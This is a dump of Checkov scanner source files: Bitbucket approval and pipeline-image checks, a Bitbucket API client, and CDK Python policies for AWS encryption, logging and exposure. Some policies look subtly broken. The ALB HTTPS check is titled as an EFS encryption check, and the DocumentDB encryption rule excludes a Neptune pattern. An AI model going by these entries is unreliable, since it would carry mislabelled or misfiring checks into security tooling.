categories: Iterable[CheckCategories], supported_entities: Iterable[str], block_type: str, path: str | None = None, guideline: str | None = None, ): super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, guideline=guideline, ) self.path = path registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]] | None: # type:ignore[override] # multi_signature decorator is problematic self.entity_type = entity_type return self.scan_conf(conf) @abstractmethod def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]] | None: pass ================================================ FILE: checkov/bitbucket/checks/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/bitbucket/checks/merge_requests_approvals.py ================================================ from __future__ import annotations from typing import Any from checkov.bitbucket.base_bitbucket_configuration_check import BaseBitbucketCheck from checkov.bitbucket.schemas.branch_restrictions import schema as branch_restrictions_schema from checkov.common.models.enums import CheckCategories, CheckResult from checkov.json_doc.enums import BlockType class MergeRequestRequiresApproval(BaseBitbucketCheck): def __init__(self) -> None: name = "Merge requests should require at least 2 approvals" id = "CKV_BITBUCKET_1" categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__( name=name, id=id, categories=categories, supported_entities=("*",), block_type=BlockType.DOCUMENT ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]] | None: if branch_restrictions_schema.validate(conf): for value in conf.get("values", []): if value.get('kind', '') == 'require_approvals_to_merge': if value.get('value', 0) >= 2: return CheckResult.PASSED, conf return CheckResult.FAILED, conf return None check = MergeRequestRequiresApproval() ================================================ FILE: checkov/bitbucket/dal.py ================================================ from __future__ import annotations import logging import os from typing import Any import requests from checkov.common.runners.base_runner import strtobool from checkov.common.vcs.base_vcs_dal import BaseVCSDAL class Bitbucket(BaseVCSDAL): def setup_conf_dir(self) -> None: """ discover parameters from execution context of checkov and determine the directory to save temporal files of vcs configuration """ bitbucket_conf_dir_name = os.getenv('CKV_BITBUCKET_CONF_DIR_NAME', 'bitbucket_conf') self.bitbucket_conf_dir_path = os.path.join(os.getcwd(), bitbucket_conf_dir_name) self.bitbucket_branch_restrictions_file_path = os.path.join(self.bitbucket_conf_dir_path, "branch_restrictions.json") def discover(self) -> None: """ discover parameters from execution context of checkov. usually from env variable """ server_host = os.getenv('CI_SERVER_URL', "https://api.bitbucket.org/") self.api_url = f'{server_host}2.0' self.graphql_api_url = f"{server_host}api/graphql" self.token = os.getenv('APP_PASSWORD', '') self.current_repository = os.getenv('BITBUCKET_REPO_FULL_NAME', '') self.current_branch = os.getenv('BITBUCKET_BRANCH', '') self.default_branch_cache = {} self.username = os.getenv('BITBUCKET_USERNAME', '') def _request(self, endpoint: str, allowed_status_codes: list[int]) -> dict[str, Any] | None: if not self.token: return None url_endpoint = f"{self.api_url}/{endpoint}" try: s = requests.Session() s.auth = (self.username, self.token) request = s.get(url_endpoint) if request.status_code in allowed_status_codes: data: "dict[str, Any]" = request.json() if isinstance(data, dict) and 'errors' in data.keys(): return None return data else: request.raise_for_status() except Exception: logging.debug(f"Query failed to run by returning code of {url_endpoint}", exc_info=True) return None def _headers(self) -> dict[str, Any]: # not needed here return {} def get_branch_restrictions(self) -> dict[str, Any] | None: if self.current_repository: branch_restrictions = self._request(endpoint=f"repositories/{self.current_repository}/branch-restrictions", allowed_status_codes=[200]) return branch_restrictions logging.debug("Environment variable BITBUCKET_REPO_FULL_NAME was not set. Cannot fetch branch restrictions.") return None def persist_branch_restrictions(self) -> None: branch_restrictions = self.get_branch_restrictions() if branch_restrictions: BaseVCSDAL.persist(path=self.bitbucket_branch_restrictions_file_path, conf=branch_restrictions) def persist_all_confs(self) -> None: if strtobool(os.getenv("CKV_BITBUCKET_CONFIG_FETCH_DATA", "True")): self.persist_branch_restrictions() ================================================ FILE: checkov/bitbucket/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.json_doc.base_registry import Registry registry = Registry(CheckType.BITBUCKET_CONFIGURATION) ================================================ FILE: checkov/bitbucket/runner.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.bitbucket.dal import Bitbucket from checkov.common.bridgecrew.check_type import CheckType from checkov.json_doc.runner import Runner as JsonRunner from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.output.report import Report class Runner(JsonRunner): check_type = CheckType.BITBUCKET_CONFIGURATION # noqa: CCE003 # a static attribute def __init__(self) -> None: self.bitbucket = Bitbucket() super().__init__() def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() self.prepare_data() report = super().run( root_folder=self.bitbucket.bitbucket_conf_dir_path, external_checks_dir=external_checks_dir, files=None, # ignore file scans runner_filter=runner_filter, collect_skip_comments=collect_skip_comments, ) return report def prepare_data(self) -> None: self.bitbucket.persist_all_confs() def require_external_checks(self) -> bool: # default json runner require only external checks. Bitbucket runner brings build in checks return False def import_registry(self) -> BaseCheckRegistry: from checkov.bitbucket.registry import registry return registry ================================================ FILE: checkov/bitbucket/schemas/__init__.py ================================================ ================================================ FILE: checkov/bitbucket/schemas/branch_restrictions.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class BranchRestrictionsSchema(VCSSchema): def __init__(self) -> None: schema = \ { "$schema": "http://json-schema.org/draft-04/schema#", "type": "object", "properties": { "pagelen": { "type": "integer" }, "values": { "type": "array", "items": [ { "type": "object", "properties": { "kind": { "type": "string" }, "users": { "type": "array", "items": {} }, "links": { "type": "object", "properties": { "self": { "type": "object", "properties": { "href": { "type": "string" } }, "required": [ "href" ] } }, "required": [ "self" ] }, "pattern": { "type": "string" }, "branch_match_kind": { "type": "string" }, "groups": { "type": "array", "items": {} }, "type": { "type": "string" }, "id": { "type": "integer" } }, "required": [ "kind", "users", "links", "pattern", "branch_match_kind", "groups", "type", "id" ] }, { "type": "object", "properties": { "kind": { "type": "string" }, "users": { "type": "array", "items": {} }, "links": { "type": "object", "properties": { "self": { "type": "object", "properties": { "href": { "type": "string" } }, "required": [ "href" ] } }, "required": [ "self" ] }, "pattern": { "type": "string" }, "branch_match_kind": { "type": "string" }, "groups": { "type": "array", "items": {} }, "type": { "type": "string" }, "id": { "type": "integer" } }, "required": [ "kind", "users", "links", "pattern", "branch_match_kind", "groups", "type", "id" ] }, { "type": "object", "properties": { "kind": { "type": "string" }, "users": { "type": "array", "items": {} }, "links": { "type": "object", "properties": { "self": { "type": "object", "properties": { "href": { "type": "string" } }, "required": [ "href" ] } }, "required": [ "self" ] }, "pattern": { "type": "string" }, "branch_match_kind": { "type": "string" }, "groups": { "type": "array", "items": {} }, "type": { "type": "string" }, "id": { "type": "integer" } }, "required": [ "kind", "users", "links", "pattern", "branch_match_kind", "groups", "type", "id" ] } ] }, "page": { "type": "integer" }, "size": { "type": "integer" } }, "required": [ "pagelen", "values", "page", "size" ] } super().__init__(schema=schema) schema = BranchRestrictionsSchema() ================================================ FILE: checkov/bitbucket_pipelines/__init__.py ================================================ from checkov.bitbucket_pipelines.checks import * # noqa ================================================ FILE: checkov/bitbucket_pipelines/base_bitbucket_pipelines_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories from checkov.bitbucket_pipelines.registry import registry if TYPE_CHECKING: from checkov.common.models.enums import CheckResult class BaseBitbucketPipelinesCheck(BaseCheck): def __init__( self, name: str, id: str, supported_entities: Iterable[str], block_type: str, path: str | None = None ) -> None: categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) self.path = path registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: self.entity_type = entity_type return self.scan_conf(conf) @abstractmethod def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: pass ================================================ FILE: checkov/bitbucket_pipelines/checks/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/bitbucket_pipelines/checks/latest_image.py ================================================ from __future__ import annotations from typing import Any from checkov.bitbucket_pipelines.base_bitbucket_pipelines_check import BaseBitbucketPipelinesCheck from checkov.common.models.enums import CheckResult from checkov.yaml_doc.enums import BlockType class ImageReferenceLatestTag(BaseBitbucketPipelinesCheck): def __init__(self) -> None: name = "Ensure the pipeline image uses a non latest version tag" id = "CKV_BITBUCKETPIPELINES_1" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=( "[{image:image,__startline__:__startline__,__endline__:__endline__}]", "pipelines.default[].step.{image: image, __startline__: __startline__, __endline__:__endline__}", "pipelines.*.[*][][][].step.{image: image, __startline__: __startline__, __endline__:__endline__}", ), ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.UNKNOWN, conf image = conf.get("image") if not image: return CheckResult.UNKNOWN, conf if isinstance(image, str): if image.endswith(":latest"): return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = ImageReferenceLatestTag() ================================================ FILE: checkov/bitbucket_pipelines/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.yaml_doc.base_registry import Registry registry = Registry(CheckType.BITBUCKET_PIPELINES) ================================================ FILE: checkov/bitbucket_pipelines/runner.py ================================================ from __future__ import annotations from typing import Any, TYPE_CHECKING from checkov.bitbucket_pipelines.registry import registry from checkov.common.bridgecrew.check_type import CheckType from checkov.yaml_doc.runner import Runner as YamlRunner if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry class Runner(YamlRunner): check_type = CheckType.BITBUCKET_PIPELINES # noqa: CCE003 # a static attribute def __init__(self) -> None: super().__init__() def require_external_checks(self) -> bool: return False def import_registry(self) -> BaseCheckRegistry: return registry @staticmethod def is_workflow_file(file_path: str) -> bool: """ :return: True if the file mentioned is named bitbucket-pipelines.yml. Otherwise: False """ return file_path.endswith(("bitbucket-pipelines.yml", "bitbucket-pipelines.yaml")) @staticmethod def _parse_file( f: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: if Runner.is_workflow_file(f): return YamlRunner._parse_file(f) return None ================================================ FILE: checkov/cdk/__init__.py ================================================ ================================================ FILE: checkov/cdk/checks/__init__.py ================================================ ================================================ FILE: checkov/cdk/checks/python/ALBDropHttpHeaders.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_131 name: Ensure that ALB drops HTTP headers category: NETWORKING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer() conditions: - not_pattern: | aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(, type='application' ,, load_balancer_attributes=[, {'key': 'routing.http.drop_invalid_header_fields.enabled','value': 'true'} ,] ,) - not_pattern: | aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(, type='application' ,, load_balancer_attributes=[, {'value': 'true','key': 'routing.http.drop_invalid_header_fields.enabled'} ,] ,) - not_pattern: | aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(, load_balancer_attributes=[, {'key': 'routing.http.drop_invalid_header_fields.enabled','value': 'true'} ,] ,, type='application' ,) - not_pattern: | aws_cdk.aws_elasticloadbalancingv2.CfnLoadBalancer(, load_balancer_attributes=[, {'value': 'true','key': 'routing.http.drop_invalid_header_fields.enabled'} ,] ,, type='application' ,) ================================================ FILE: checkov/cdk/checks/python/ALBListenerHTTPS.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_2 name: Ensure EFS is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener() conditions: - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(, protocol='HTTPS', ) - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(, protocol='TLS', ) - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(, protocol='TCP', ) - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(, protocol='UDP', ) - not_pattern: aws_cdk.aws_elasticloadbalancingv2.CfnListener(, protocol='TCP_UDP', ) - not_pattern: | aws_cdk.aws_elasticloadbalancingv2.CfnListener(, default_actions=[, {'type': 'redirect', 'redirectConfig':{'protocol': 'HTTPS'}} , ] , ) ================================================ FILE: checkov/cdk/checks/python/APIGatewayAccessLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_76 name: Ensure API Gateway has Access Logging enabled category: LOGGING framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_apigateway.CfnStage() conditions: - not_pattern: aws_cdk.aws_apigateway.CfnStage(, access_log_setting=aws_cdk.aws_apigateway.CfnStage.AccessLogSettingProperty(, destination_arn=$ARG , ) , ) - not_pattern: | $P = aws_cdk.aws_apigateway.CfnStage.AccessLogSettingProperty(, destination_arn=$ARG , ) aws_cdk.aws_apigateway.CfnStage(, access_log_setting=$P, ) - pattern: aws_cdk.aws_serverless.Api() conditions: - not_pattern: | aws_cdk.aws_serverless.Api(, default_stage={, "access_log_setting": aws_cdk.aws_serverless.AccessLogSetting(, destination_arn=$ARG,), } , ) - not_pattern: | $P = aws_cdk.aws_serverless.AccessLogSetting(, destination_arn=$ARG , ) aws_cdk.aws_serverless.Api(, default_stage={, "access_log_setting": $P, }, ) ================================================ FILE: checkov/cdk/checks/python/APIGatewayAuthorization.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_59 name: Ensure there is no open access to back-end resources through API category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_apigateway.Method(, http_method=$ARG, , authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, , api_key_required=False, ) - pattern: aws_cdk.aws_apigateway.Method(, http_method=$ARG, , api_key_required=False, , authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, ) - pattern: aws_cdk.aws_apigateway.Method(, authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, , http_method=$ARG, , api_key_required=False, ) - pattern: aws_cdk.aws_apigateway.Method(, authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, , api_key_required=False, , http_method=$ARG, ) - pattern: aws_cdk.aws_apigateway.Method(, api_key_required=False, , authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, , http_method=$ARG, ) - pattern: aws_cdk.aws_apigateway.Method(, api_key_required=False, , http_method=$ARG, , authorization_type=aws_cdk.aws_apigateway.AuthorizationType.NONE, ) conditions: - metavariable: $ARG not_regex: OPTIONS ================================================ FILE: checkov/cdk/checks/python/APIGatewayCacheEnable.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_120 name: Ensure API Gateway caching is enabled category: BACKUP_AND_RECOVERY framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_apigateway.Stage() conditions: - not_pattern: aws_cdk.aws_apigateway.Stage(, cache_cluster_enabled=True, ) - pattern: aws_cdk.aws_sam.CfnApi() conditions: - not_pattern: aws_cdk.aws_sam.CfnApi(, cacheClusterEnabled=True , ) ================================================ FILE: checkov/cdk/checks/python/APIGatewayV2AccessLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_95 name: Ensure API Gateway V2 has Access Logging enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_apigatewayv2.$FUNC() conditions: - not_pattern: aws_cdk.aws_apigatewayv2.$FUNC(, access_log_settings=aws_cdk.aws_apigatewayv2.$FUNC.AccessLogSettingsProperty(, destination_arn=$ARG ,) ,) - metavariable: $FUNC regex: (CfnStage|CfnApi) ================================================ FILE: checkov/cdk/checks/python/APIGatewayXray.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_73 name: Ensure API Gateway has X-Ray Tracing enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.$MOD.CfnStage() conditions: - not_pattern: aws_cdk.$MOD.CfnStage(, tracing_enabled=True , ) - metavariable: $MOD regex: (aws_apigateway|aws_apigateway2) ================================================ FILE: checkov/cdk/checks/python/AmazonMQBrokerPublicAccess.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_69 name: Ensure Amazon MQ Broker should not have public access category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_amazonmq.CfnBroker(, publicly_accessible=True , ) ================================================ FILE: checkov/cdk/checks/python/AppSyncFieldLevelLogs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_194 name: Ensure AppSync has Field-Level logs enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_appsync.CfnGraphQLApi() conditions: - not_pattern: source: aws_cdk.aws_appsync.CfnGraphQLApi.LogConfigProperty(, field_log_level=aws_cdk.aws_appsync.FieldLogLevel.$ARG , ) sink: aws_cdk.aws_appsync.CfnGraphQLApi(, log_config=$LOG , ) - not_pattern: aws_cdk.aws_appsync.CfnGraphQLApi(, log_config=aws_cdk.aws_appsync.CfnGraphQLApi.LogConfigProperty(, field_log_level=aws_cdk.aws_appsync.FieldLogLevel.$ARG , ) , ) - not_pattern: | $LOG = aws_cdk.aws_appsync.CfnGraphQLApi.LogConfigProperty(, field_log_level=aws_cdk.aws_appsync.FieldLogLevel.$ARG , ) aws_cdk.aws_appsync.CfnGraphQLApi(, log_config=$LOG , ) - metavariable: $ARG regex: (ERROR|ALL) ================================================ FILE: checkov/cdk/checks/python/AppSyncLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_193 name: Ensure AppSync has Logging enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_appsync.CfnGraphQLApi() conditions: - not_pattern: aws_cdk.aws_appsync.CfnGraphQLApi(, log_config=aws_cdk.aws_appsync.CfnGraphQLApi.LogConfigProperty(, cloud_watch_logs_role_arn=$ARG , ) , ) - not_pattern: | $LOG = aws_cdk.aws_appsync.CfnGraphQLApi.LogConfigProperty(, cloud_watch_logs_role_arn=$ARG , ) aws_cdk.aws_appsync.CfnGraphQLApi(, log_config=$LOG , ) ================================================ FILE: checkov/cdk/checks/python/AthenaWorkgroupConfiguration.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_82 name: Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_athena.CfnWorkGroup() conditions: - not_pattern: aws_cdk.aws_athena.CfnWorkGroup(, work_group_configuration=aws_cdk.aws_athena.CfnWorkGroup.WorkGroupConfigurationProperty(, enforce_work_group_configuration=True , ) , ) - not_pattern: | $ARG = aws_cdk.aws_athena.CfnWorkGroup.WorkGroupConfigurationProperty(, enforce_work_group_configuration=True , ) aws_cdk.aws_athena.CfnWorkGroup(, work_group_configuration=$ARG , ) ================================================ FILE: checkov/cdk/checks/python/AuroraEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_96 name: Ensure all data stored in Aurora is securely encrypted at rest category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_rds.CfnDBCluster() conditions: - not_pattern: aws_cdk.aws_rds.CfnDBCluster(, storage_encrypted=True ,) ================================================ FILE: checkov/cdk/checks/python/BackupVaultEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_166 name: Ensure Backup Vault is encrypted at rest using KMS CMK category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_backup.CfnBackupVault() conditions: - not_pattern: aws_cdk.aws_backup.CfnBackupVault(, encryption_key_arn=$ARG, ) ================================================ FILE: checkov/cdk/checks/python/CloudFrontTLS12.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_174 name: Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_cloudfront.CfnDistribution() conditions: - not_pattern: aws_cdk.aws_cloudfront.CfnDistribution(, distribution_config=aws_cdk.aws_cloudfront.CfnDistribution.DistributionConfigProperty(, viewer_certificate=aws_cdk.aws_cloudfront.CfnDistribution.ViewerCertificateProperty(, minimum_protocol_version='TLSv1.2' ,) ,) ,) ================================================ FILE: checkov/cdk/checks/python/CloudTrailLogValidation.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_36 name: Ensure CloudTrail log file validation is enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_cloudtrail.CfnTrail() conditions: - not_pattern: aws_cdk.aws_cloudtrail.CfnTrail(, enable_log_file_validation=True , ) ================================================ FILE: checkov/cdk/checks/python/CloudWatchLogGroupKMSKey.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_158 name: Ensure that CloudWatch Log Group is encrypted by KMS category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_logs.LogGroup() conditions: - not_pattern: aws_cdk.aws_logs.LogGroup(, kms_key=$KEY, ) ================================================ FILE: checkov/cdk/checks/python/CloudWatchLogGroupRetention.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_66 name: Ensure that CloudWatch Log Group specifies retention days category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_logs.CfnLogGroup() conditions: - not_pattern: aws_cdk.aws_logs.CfnLogGroup(, retention_in_days=$NUM ,) ================================================ FILE: checkov/cdk/checks/python/CloudfrontDistributionEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_34 name: Ensure CloudFront distribution ViewerProtocolPolicy is set to HTTPS category: ENCRYPTION framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_cloudfront.CfnDistribution(, distribution_config=aws_cdk.aws_cloudfront.CfnDistribution.DistributionConfigProperty(, default_cache_behavior=aws_cdk.aws_cloudfront.CfnDistribution.DefaultCacheBehaviorProperty(,viewer_protocol_policy='allow-all' ,) ,) , ) - pattern: aws_cdk.aws_cloudfront.CfnDistribution(, distribution_config=aws_cdk.aws_cloudfront.CfnDistribution.DistributionConfigProperty(,cache_behaviors=[,aws_cdk.aws_cloudfront.CfnDistribution.CacheBehaviorProperty(, viewer_protocol_policy='allow-all' ,) ,] ,) ,) ================================================ FILE: checkov/cdk/checks/python/CloudfrontDistributionLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_86 name: Ensure CloudFront distribution has Access Logging enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_cloudfront.CfnDistribution() conditions: - not_pattern: aws_cdk.aws_cloudfront.CfnDistribution(, distribution_config=aws_cdk.aws_cloudfront.CfnDistribution.DistributionConfigProperty(, logging=aws_cdk.aws_cloudfront.CfnDistribution.LoggingProperty(, bucket=$ARG ,) ,) ,) ================================================ FILE: checkov/cdk/checks/python/CloudtrailEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_35 name: Ensure CloudTrail logs are encrypted at rest using KMS CMKs category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_cloudtrail.CfnTrail() conditions: - not_pattern: aws_cdk.aws_cloudtrail.CfnTrail(, kms_key_id=$ARG ,) ================================================ FILE: checkov/cdk/checks/python/CloudtrailMultiRegion.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_67 name: Ensure CloudTrail is enabled in all Regions category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_cloudtrail.Trail() conditions: - not_pattern: aws_cdk.aws_cloudtrail.Trail(, is_multi_region_trail=True ,) ================================================ FILE: checkov/cdk/checks/python/CodeBuildProjectEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_78 name: Ensure that CodeBuild Project encryption is not disabled category: ENCRYPTION framework: cdk scope: languages: - python definition: patterns: or: - pattern: aws_cdk.aws_codebuild.Project(, artifacts=aws_cdk.aws_codebuild.Artifacts(, type=aws_cdk.aws_codebuild.ArtifactsType.S3, , encryption_disabled=True, ) , ) - pattern: aws_cdk.aws_codebuild.Project(, artifacts=aws_cdk.aws_codebuild.Artifacts(, encryption_disabled=True, , type=aws_cdk.aws_codebuild.ArtifactsType.S3, ) , ) ================================================ FILE: checkov/cdk/checks/python/DAXEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_47 name: Ensure DAX is encrypted at rest (default is unencrypted) category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_dax.CfnCluster() conditions: - not_pattern: aws_cdk.aws_dax.CfnCluster(, sse_specification=aws_cdk.aws_dax.CfnCluster.SSESpecificationProperty(, enabled=True , ), ) - not_pattern: | $P = aws_cdk.aws_dax.CfnCluster.SSESpecificationProperty(, enabled=True , ) aws_cdk.aws_dax.CfnCluster(sse_specification=$P) ================================================ FILE: checkov/cdk/checks/python/DMSReplicationInstancePubliclyAccessible.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_89 name: DMS replication instance should not be publicly accessible category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_dms.ReplicationInstance(, publicly_accessible=True, ) ================================================ FILE: checkov/cdk/checks/python/DocDBAuditLogs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_104 name: Ensure DocumentDB has audit logs enabled category: LOGGING framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_docdb.CfnDBClusterParameterGroup() conditions: - not_pattern: 'aws_cdk.aws_docdb.CfnDBClusterParameterGroup(, parameters={, "audit_logs": "enabled" , } , )' ================================================ FILE: checkov/cdk/checks/python/DocDBEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_74 name: Ensure DocumentDB is encrypted at rest (default is unencrypted) category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_docdb.CfnDBCluster() conditions: - not_pattern: aws_cdk.aws_neptune.CfnDBCluster(, storage_encrypted=True , ) ================================================ FILE: checkov/cdk/checks/python/DocDBTLS.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_90 name: Ensure DocumentDB TLS is not disabled category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: | aws_cdk.aws_docdb.CfnDBClusterParameterGroup(, parameters={'tls': 'disabled'} ,) ================================================ FILE: checkov/cdk/checks/python/DynamodbGlobalTableRecovery.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_165 name: Ensure DynamoDB global table point in time recovery (backup) is enabled category: BACKUP_AND_RECOVERY framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_dynamodb.CfnGlobalTable() conditions: - not_pattern: aws_cdk.aws_dynamodb.CfnGlobalTable(, replicas=[, aws_cdk.aws_dynamodb.CfnGlobalTable.ReplicaSpecificationProperty(, point_in_time_recovery_specification=aws_cdk.aws_dynamodb.CfnGlobalTable.PointInTimeRecoverySpecificationProperty(point_in_time_recovery_enabled=True) , ) , ], ) ================================================ FILE: checkov/cdk/checks/python/DynamodbRecovery.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_28 name: Ensure DynamoDB point-in-time recovery (backup) is enabled category: BACKUP_AND_RECOVERY framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_dynamodb.Table() conditions: - not_pattern: aws_cdk.aws_dynamodb.Table(, point_in_time_recovery=True , ) ================================================ FILE: checkov/cdk/checks/python/EBSEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_3 name: Ensure all data stored in the EBS is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_ec2.Volume() conditions: - not_pattern: aws_cdk.aws_ec2.Volume(, encrypted=True , ) ================================================ FILE: checkov/cdk/checks/python/EC2PublicIP.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_88 name: EC2 instance should not have public IP category: NETWORKING framework: cdk scope: languages: - python definition: patterns: or: - pattern: | aws_cdk.aws_ec2.CfnInstance(, network_interfaces=[, {'associate_public_ip_address': True} ,] ,) - pattern: | aws_cdk.aws_ec2.CfnLaunchTemplate(, launch_template_data={'network_interfaces':[, {'associate_public_ip_address': True} ,]} ,) ================================================ FILE: checkov/cdk/checks/python/ECRImageScanning.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_163 name: Ensure ECR image scanning on push is enabled category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_ecr.Repository() conditions: - not_pattern: aws_cdk.aws_ecr.Repository(, image_scan_on_push=True, ) ================================================ FILE: checkov/cdk/checks/python/ECRImmutableTags.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_51 name: Ensure ECR Image Tags are immutable category: GENERAL_SECURITY framework: cdk scope: languages: - python definition: pattern: aws_cdk.aws_ecr.Repository() conditions: - not_pattern: aws_cdk.aws_ecr.Repository(, image_tag_mutability=aws_cdk.aws_ecr.TagMutability.IMMUTABLE, ) ================================================ FILE: checkov/cdk/checks/python/ECRRepositoryEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_136 name: Ensure that ECR repositories are encrypted using KMS category: ENCRYPTION framework: cdk scope: languages: - python definition: pattern: 